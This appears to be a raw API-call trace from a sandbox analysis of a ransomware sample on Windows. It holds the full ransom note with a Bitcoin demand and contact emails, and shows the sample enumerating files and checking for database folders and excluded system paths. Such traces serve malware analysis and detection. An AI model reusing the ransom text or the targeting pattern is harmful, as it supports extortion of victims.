CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.886] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0283.886] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0283.886] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0283.886] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\3082\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.886] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.886] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.886] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.886] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.886] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0283.886] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0283.886] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0283.887] CloseHandle (hObject=0x398) returned 1 [0283.887] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.887] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.887] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.887] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.887] CharLowerBuffW (in: lpsz="SetupResources.dll", cchLength=0x12 | out: lpsz="setupresources.dll") returned 0x12 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.888] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130c8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.888] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0283.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlls.dll", lpUsedDefaultChar=0x0) returned 4 [0283.888] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.888] GetLastError () returned 0x12 [0283.888] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.888] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*.*", lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0x6da1d0 [0283.888] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e83c | out: lpLocalFileTime=0x19e83c) returned 1 [0283.888] FileTimeToDosDateTime (in: lpFileTime=0x19e83c, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.888] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.888] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.889] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.889] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.889] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.889] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.889] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.889] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.889] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.889] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.889] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.889] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.889] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.889] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.889] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.889] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.890] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 0 [0283.890] GetLastError () returned 0x12 [0283.890] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0283.890] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.890] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.890] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.890] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.890] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.890] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.890] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.890] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.890] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.890] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.890] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.890] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.890] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.890] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.890] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.890] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.890] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0283.891] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0283.891] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0283.891] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.891] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.891] SysReAllocStringLen (in: pbstr=0x19eb78*=0x0, psz="C:\\588bce7c90097ed212\\Client", len=0x1c | out: pbstr=0x19eb78*="C:\\588bce7c90097ed212\\Client") returned 1 [0283.891] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Microsoft\\Exchange Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.893] GetLastError () returned 0x3 [0283.893] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=26, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0283.894] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Microsoft SQL Server", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.894] GetLastError () returned 0x2 [0283.894] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1cdb8, cbMultiByte=21, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0283.894] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Firebird", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.894] GetLastError () returned 0x2 [0283.894] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.894] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0283.894] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\MSSQL.1", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.895] GetLastError () returned 0x2 [0283.895] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=8, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0283.895] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.895] GetLastError () returned 0x2 [0283.895] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.895] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec0270, cbMultiByte=37, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 37 [0283.895] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Adobe", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.897] GetLastError () returned 0x2 [0283.897] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.897] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=6, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⷠm°") returned 6 [0283.898] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\Oracle", lpFindFileData=0x19e5f4 | out: lpFindFileData=0x19e5f4) returned 0xffffffff [0283.898] GetLastError () returned 0x2 [0283.898] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=7, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0283.898] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.898] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2ab28, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0283.898] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.898] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0283.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=32, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 32 [0283.898] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.898] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0283.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.898] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.898] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19e3f0, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0283.898] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39cd8, cbMultiByte=11, lpWideCharStr=0x19d7f0, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 15 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=11, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 11 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=9, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 9 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 18 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=28, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 28 [0283.899] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\Client\\", cchLength=0x1d | out: lpsz="c:\\588bce7c90097ed212\\client\\") returned 0x1d [0283.899] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39e28, cbMultiByte=10, lpWideCharStr=0x19d7f8, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@穴έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\\x19䟟瞿ᒨഔ甝") returned 10 [0283.899] CharLowerBuffW (in: 